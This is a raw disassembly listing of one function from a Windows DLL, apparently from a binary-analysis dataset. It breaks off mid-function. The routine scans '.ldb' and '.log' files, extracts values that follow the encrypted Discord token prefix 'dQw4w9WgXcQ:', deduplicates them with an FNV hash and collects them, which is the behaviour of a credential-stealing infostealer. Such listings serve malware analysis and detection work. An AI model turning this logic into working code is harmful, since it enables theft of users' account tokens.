Function at 0x180006210
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x580
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x570], rax
mov rbx, rdx
mov r13, rcx
mov qword [rsp + 0x90], rcx
xor r15d, r15d
mov dword [rsp + 0x30], r15d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx], r15
mov qword [rcx + 8], r15
mov qword [rcx + 0x10], r15
mov dword [rsp + 0x30], 1
movups xmmword [rsp + 0x2e0], xmm0
movups xmmword [rsp + 0x2f0], xmm0
movups xmmword [rsp + 0x300], xmm0
movups xmmword [rsp + 0x310], xmm0
mov dword [rsp + 0x2e0], r15d
mov qword [rsp + 0x2e8], r15
mov qword [rsp + 0x2f0], r15
mov ecx, 0x30
call fcn.180034700
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f8], r15
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x300], xmm0
mov qword [rsp + 0x310], 7
mov qword [rsp + 0x318], 8
mov dword [rsp + 0x2e0], 0x3f800000
mov r8, rax
mov edx, 0x10
lea rcx, [rsp + 0x2f8]
call fcn.180017260
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x270], xmm0
movups xmmword [rsp + 0x280], xmm0
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x270], r15
lea rax, [rsp + 0x278]
mov qword [rsp + 0x58], rax
mov cl, 1
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Init_bool_]
mov qword [rsp + 0x290], rax
lea rcx, [rsp + 0x288]
call fcn.18001a5d0
mov qword [rsp + 0x278], rax
lea rcx, [rsp + 0x288]
call fcn.180017b90
mov qword [rsp + 0x280], rax
lea r8, [0x180039e21]
lea rdx, str.dQw4w9WgXcQ:___
lea rcx, [rsp + 0x270]
call fcn.180019170
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x320], xmm0
movups xmmword [rsp + 0x350], xmm0
movups xmmword [rsp + 0x370], xmm0
movups xmmword [rsp + 0x380], xmm0
mov qword [rsp + 0x320], r15
mov byte [rsp + 0x328], r15b
movdqa xmmword [rsp + 0x330], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x340], xmm1
mov qword [rsp + 0x350], r15
mov byte [rsp + 0x358], r15b
movdqa xmmword [rsp + 0x360], xmm0
mov byte [rsp + 0x370], r15b
mov qword [rsp + 0x378], r15
mov qword [rsp + 0x380], r15
mov byte [rsp + 0x388], r15b
movups xmmword [rsp + 0x200], xmm0
mov qword [rsp + 0x210], r15
mov qword [rsp + 0x218], 0xf
mov byte [rsp + 0x200], r15b
mov rax, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x180006444
mov rbx, qword [rbx]
mov qword [rsp + 0x1d0], rbx
mov qword [rsp + 0x1d8], rax
call fcn.180033d84
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x1d0], xmm0
lea r8, [rsp + 0x1d0]
mov edx, eax
lea rcx, [rsp + 0x60]
call fcn.180001d60
mov r12d, 0xc1
mov dword [rsp + 0x30], r12d
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x1c0], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x1c0]
call fcn.180017ee0
test eax, eax
jne 0x18000749c
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1800064f4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800064ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800064ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180034744
xorps xmm0, xmm0
movups xmmword [rsp + 0x240], xmm0
mov rbx, qword [rsp + 0x1c8]
mov qword [rsp + 0x50], rbx
test rbx, rbx
je 0x180006527
lock inc dword [rbx + 8]
mov rbx, qword [rsp + 0x1c8]
mov qword [rsp + 0x50], rbx
mov r12d, dword [rsp + 0x30]
movaps xmm0, xmmword [rsp + 0x1c0]
movdqa xmmword [rsp + 0x240], xmm0
test rbx, rbx
je 0x180006553
lock inc dword [rbx + 8]
mov rbx, qword [rsp + 0x1c8]
mov qword [rsp + 0x50], rbx
mov r12d, dword [rsp + 0x30]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1d0], xmm1
test rbx, rbx
je 0x1800065bd
mov rdi, 0xffffffffffffffff
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1800065ab
mov rbx, qword [rsp + 0x1c8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1800065ab
mov rdx, qword [rsp + 0x1c8]
mov qword [rsp + 0x50], rdx
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 8]
jmp 0x1800065b8
mov rdx, qword [rsp + 0x1c8]
mov qword [rsp + 0x50], rdx
mov r12d, dword [rsp + 0x30]
lea r14, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
lea rsi, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x58], rax
nop dword [rax + rax]
mov rbx, qword [rsp + 0x240]
cmp rbx, rax
je 0x1800072cd
lea rdx, [rsp + 0x80]
mov rcx, rbx
call fcn.180003000
mov edx, dword [rsp + 0x88]
mov rax, qword [rsp + 0x80]
test edx, edx
je 0x180006623
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x1800074b0
cmp eax, 2
jne 0x1800072b6
lea rcx, [rbx + 0x20]
lea rdx, [rsp + 0x250]
call fcn.1800021f0
nop
lea rax, [rsp + 0x250]
mov rbx, qword [rsp + 0x250]
mov rdi, qword [rsp + 0x268]
cmp rdi, 0xf
cmova rax, rbx
mov rcx, qword [rsp + 0x260]
cmp rcx, 4
jb 0x18000667b
cmp dword [rax + rcx - 4], 0x62646c2e
sete al
test al, al
jne 0x1800066a8
lea rax, [rsp + 0x250]
cmp rdi, 0xf
cmova rax, rbx
cmp rcx, 4
jb 0x18000727c
cmp dword [rax + rcx - 4], 0x676f6c2e
sete al
test al, al
je 0x18000727c
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0xb0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x250]
cmp rdi, 0xf
cmova rdx, rbx
mov r8d, 0x20
lea rcx, [rsp + 0xb0]
call fcn.180015600
mov rax, qword [rsp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0xb0], rax
mov rax, qword [rsp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0xac], edx
mov rax, qword [rsp + 0xb0]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0xc0], 6
jne 0x1800071c1
xor edx, edx
mov r8d, 0xe8
lea rcx, [rsp + 0x390]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x18003c3a8]
mov qword [rsp + 0x390], rax
lea rcx, [rsp + 0x418]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
bts r12d, 0xb
mov dword [rsp + 0x30], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x398]
lea rcx, [rsp + 0x390]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x390]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x390], r14
mov rax, qword [rsp + 0x390]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rsp + rcx + 0x38c], edx
lea rcx, [rsp + 0x398]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rsp + 0x398], rsi
mov qword [rsp + 0x400], r15
mov dword [rsp + 0x408], 4
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x390]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x298], xmm0
mov rsi, r15
mov qword [rsp + 0x2a8], r15
mov r14d, 0xf
mov qword [rsp + 0x2b0], r14
mov byte [rsp + 0x298], sil
bts r12d, 0xa
mov dword [rsp + 0x30], r12d
xor eax, eax
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rax
mov ecx, dword [rsp + 0x408]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x1800068b0
lea rcx, [rsp + 0x398]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x1800068a9
lea rcx, [rsp + 0x398]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbase_void_const___ptr64]
mov rdi, rax
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x398]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov rbx, rax
cmp rax, qword [rsp + 0x400]
cmovb rbx, qword [rsp + 0x400]
sub rbx, rdi
mov qword [rsp + 0x40], rbx
lea rcx, [rsp + 0x398]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
jmp 0x180006903
mov ecx, dword [rsp + 0x408]
test cl, 4
jne 0x1800068f9
lea rcx, [rsp + 0x398]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
test rax, rax
je 0x1800068f9
lea rcx, [rsp + 0x398]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
mov rdi, rax
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x398]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::egptr_void_const___ptr64]
mov rbx, rax
sub rbx, rdi
mov qword [rsp + 0x40], rbx
jmp 0x180006903
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x38]
test rdi, rdi
je 0x18000692b
mov r8, rbx
mov rdx, rdi
lea rcx, [rsp + 0x298]
call fcn.180016150
mov r14, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x2a8]
btr r12d, 0xa
bts r12d, 9
mov dword [rsp + 0x30], r12d
xor edx, edx
mov r8d, 0xf0
lea rcx, [rsp + 0x480]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x18003c638]
mov qword [rsp + 0x480], rax
lea rcx, [rsp + 0x510]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
bts r12d, 8
mov dword [rsp + 0x30], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x480]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x480]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x480], rbx
mov rax, qword [rsp + 0x480]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0x47c], edx
lea rax, [rsp + 0x490]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x490]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0x490], rax
lea rdx, [rsp + 0x298]
cmp r14, 0xf
cmova rdx, qword [rsp + 0x298]
mov r9d, 2
mov r8, rsi
lea rcx, [rsp + 0x490]
call fcn.1800178e0
nop
nop
mov rax, qword [rsp + 0x480]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x480]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x480]
call fcn.180020fa0
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
test byte [rcx + rdx + 0x10], 6
jne 0x1800070b6
nop dword [rax]
lea r10, [rsp + 0x200]
mov r9, qword [rsp + 0x200]
cmp qword [rsp + 0x218], 0xf
cmova r10, r9
lea rdx, [rsp + 0x200]
cmova rdx, r9
add rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x200]
cmp qword [rsp + 0x218], 0xf
cmova rcx, r9
mov qword [rsp + 0x28], r10
lea r9, [rsp + 0x270]
lea r8, [rsp + 0x320]
call fcn.180021140
test al, al
je 0x180006a20
mov rcx, qword [rsp + 0x338]
sub rcx, qword [rsp + 0x330]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rsp + 0x378]
cmovne rax, qword [rsp + 0x330]
cmp byte [rax + 0x10], 0
je 0x180006b24
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
jmp 0x180006b2d
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x1e0], xmm0
mov qword [rsp + 0x1f0], r15
mov qword [rsp + 0x1f8], r15
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
cmp rdx, r8
jne 0x180006b78
mov rbx, r15
mov qword [rsp + 0x1f0], rbx
mov esi, 0xf
mov qword [rsp + 0x1f8], rsi
mov byte [rsp + 0x1e0], bl
jmp 0x180006b98
sub r8, rdx
lea rcx, [rsp + 0x1e0]
call fcn.180019d80
mov rsi, qword [rsp + 0x1f8]
mov rbx, qword [rsp + 0x1f0]
or r12d, 0x1c
mov dword [rsp + 0x30], r12d
lea rdi, [rsp + 0x1e0]
mov r14, qword [rsp + 0x1e0]
cmp rsi, 0xf
cmova rdi, r14
test rbx, rbx
je 0x180006bd8
mov r8, rbx
mov edx, 0x3a
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x180006bd8
sub rax, rdi
jmp 0x180006bdf
mov rax, 0xffffffffffffffff
lea rcx, [rax + 1]
xorps xmm0, xmm0
movups xmmword [rsp + 0x2b8], xmm0
mov qword [rsp + 0x2c8], r15
mov qword [rsp + 0x2d0], r15
cmp rbx, rcx
jb 0x1800074c1
sub rbx, rcx
mov r8, 0xffffffffffffffff
cmp rbx, r8
cmovb r8, rbx
lea rdx, [rsp + 0x1e0]
cmp rsi, 0xf
cmova rdx, r14
add rdx, rcx
lea rcx, [rsp + 0x2b8]
call fcn.180019d80
or r12d, 2
mov dword [rsp + 0x30], r12d
xorps xmm0, xmm0
movups xmmword [rsp + 0x220], xmm0
mov qword [rsp + 0x230], r15
mov qword [rsp + 0x238], 0xf
mov byte [rsp + 0x220], 0
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x2b8]
cmp qword [rsp + 0x2d0], 0xf
cmova rdx, qword [rsp + 0x2b8]
lea r8, [rsp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.180004070
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.180016310
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x180006cee
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006ce9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006ce9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180034744
lea r8, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 0xf
cmova r8, qword [rsp + 0x1e0]
movabs rdx, 0xcbf29ce484222325
mov rcx, r15
mov rdi, qword [rsp + 0x1f0]
test rdi, rdi
je 0x180006d40
movzx eax, byte [rcx + r8]
xor rdx, rax
movabs rax, 0x100000001b3
imul rdx, rax
inc rcx
cmp rcx, rdi
jb 0x180006d22
mov rax, qword [rsp + 0x310]
and rax, rdx
add rax, rax
mov rcx, qword [rsp + 0x2f8]
mov rbx, qword [rcx + rax*8 + 8]
mov rsi, qword [rsp + 0x2e8]
cmp rbx, rsi
je 0x180006db6
mov r14, qword [rcx + rax*8]
nop dword [rax]
lea rdx, [rbx + 0x10]
mov rax, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x180006d82
mov rdx, qword [rdx]
lea rcx, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 0xf
cmova rcx, qword [rsp + 0x1e0]
cmp rdi, rax
jne 0x180006dad
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x180006db9
cmp rbx, r14
jne 0x1800070ad
mov rbx, r15
mov rax, rsi
test rbx, rbx
cmovne rax, rbx
cmp rax, rsi
jne 0x180006eec
lea r8, [rsp + 0x1e0]
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x2e0]
call fcn.180018e30
lea rdx, [rsp + 0x220]
cmp qword [rsp + 0x238], 0xf
cmova rdx, qword [rsp + 0x220]
mov rdi, qword [rsp + 0x230]
add rdi, rdx
lea rsi, [rsp + 0x220]
cmp qword [rsp + 0x238], 0xf
cmova rsi, qword [rsp + 0x220]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov r8, r15
mov qword [rsp + 0x48], r15
sub rdi, rsi
mov rcx, r15
je 0x180006e6f
mov rdx, rdi
lea rcx, [rsp + 0x38]
call fcn.18001bbd0
mov rbx, qword [rsp + 0x38]
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rcx, [rdi + rbx]
mov qword [rsp + 0x40], rcx
mov r8, qword [rsp + 0x48]
mov rdx, qword [r13 + 8]
cmp rdx, qword [r13 + 0x10]
je 0x180006e9f
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x38], r15
mov qword [rdx], rax
mov qword [rdx + 8], rcx
mov qword [rdx + 0x10], r8
add qword [r13 + 8], 0x18
jmp 0x180006ead
lea r8, [rsp + 0x38]
mov rcx, r13
call fcn.180021d80
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x180006eec
mov rdx, qword [rsp + 0x48]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006ee7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006ee7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180034744
cmp byte [rsp + 0x370], 0
je 0x180006f05
movaps xmm0, xmmword [rsp + 0x360]
movups xmmword [rsp + 0x38], xmm0
jmp 0x180006f0e
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
cmp rdx, r8
jne 0x180006f3f
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
jmp 0x180006f4c
sub r8, rdx
lea rcx, [rsp + 0x60]
call fcn.180019d80
or r12d, 0x20
mov dword [rsp + 0x30], r12d
mov rdx, qword [rsp + 0x218]
cmp rdx, 0xf
jbe 0x180006f9b
inc rdx
mov rcx, qword [rsp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006f96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006f96
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180034744
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x200], xmm0
movups xmm1, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x210], xmm1
mov rdx, qword [rsp + 0x238]
cmp rdx, 0xf
jbe 0x180006ffb
inc rdx
mov rcx, qword [rsp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006ff6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006ff6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180034744
mov qword [rsp + 0x230], r15
mov qword [rsp + 0x238], 0xf
mov byte [rsp + 0x220], 0
mov rdx, qword [rsp + 0x2d0]
cmp rdx, 0xf
jbe 0x18000705e
inc rdx
mov rcx, qword [rsp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007058
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180007058
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180034744
nop
mov rdx, qword [rsp + 0x1f8]
cmp rdx, 0xf
jbe 0x180006a70
inc rdx
mov rcx, qword [rsp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800070a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800070a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180034744
jmp 0x180006a70
mov rbx, qword [rbx + 8]
jmp 0x180006d70
mov rax, qword [rsp + 0x480]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x480], rax
mov rax, qword [rsp + 0x480]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0x47c], edx
lea rcx, [rsp + 0x490]
call fcn.180015da0
lea rcx, [rsp + 0x498]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x510]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x2b0]
cmp rdx, 0xf
jbe 0x18000715b
inc rdx
mov rcx, qword [rsp + 0x298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007155
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180007155
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180034744
nop
mov rax, qword [rsp + 0x390]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x390], r14
mov rax, qword [rsp + 0x390]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rsp + rcx + 0x38c], edx
lea rcx, [rsp + 0x398]
call fcn.180015da0
lea rcx, [rsp + 0x3a0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x418]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rsi, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
jmp 0x18000720f
lea rdx, str.Failed_to_open_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180018220
lea rdx, [rsp + 0x250]
cmp qword [rsp + 0x268], 0xf
cmova rdx, qword [rsp + 0x250]
mov r8, qword [rsp + 0x260]
mov rcx, rax
call fcn.180020b70
lea rdx, [0x1800183f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rsp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0xb0], rax
mov rax, qword [rsp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0xac], edx
lea rcx, [rsp + 0xc0]
call fcn.180015590
lea rcx, [rsp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x160]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdi, qword [rsp + 0x268]
mov rbx, qword [rsp + 0x250]
cmp rdi, 0xf
jbe 0x1800072b6
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1800072ae
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800072ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.180034744
lea rcx, [rsp + 0x240]
call fcn.1800035f0
mov rax, qword [rsp + 0x58]
jmp 0x1800065e0
mov rcx, qword [rsp + 0x1d8]
mov rdi, 0xffffffffffffffff
test rcx, rcx
je 0x180007321
mov eax, edi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x180007317
mov rbx, qword [rsp + 0x1d8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x180007317
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdx, qword [rsp + 0x1c8]
jmp 0x180007326
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x248]
test rcx, rcx
je 0x180007371
mov eax, edi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x180007369
mov rbx, qword [rsp + 0x248]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x180007369
mov rcx, qword [rsp + 0x248]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdx, qword [rsp + 0x1c8]
test rdx, rdx
je 0x1800073ab
mov eax, edi
lock xadd dword [rdx + 8], eax
cmp eax, 1
jne 0x1800073ab
mov rbx, qword [rsp + 0x1c8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x1800073ab
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [rcx]
call qword [rax + 8]
nop
jmp 0x1800073b8
mov rdx, qword [rsp + 0x218]
cmp rdx, 0xf
jbe 0x1800073fe
inc rdx
mov rcx, qword [rsp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800073f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800073f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180034744
mov qword [rsp + 0x210], r15
mov qword [rsp + 0x218], 0xf
mov byte [rsp + 0x200], 0
lea rcx, [rsp + 0x330]
call fcn.180014470
nop
lea rcx, [rsp + 0x270]
call fcn.180016a60
mov rcx, qword [rsp + 0x290]
test rcx, rcx
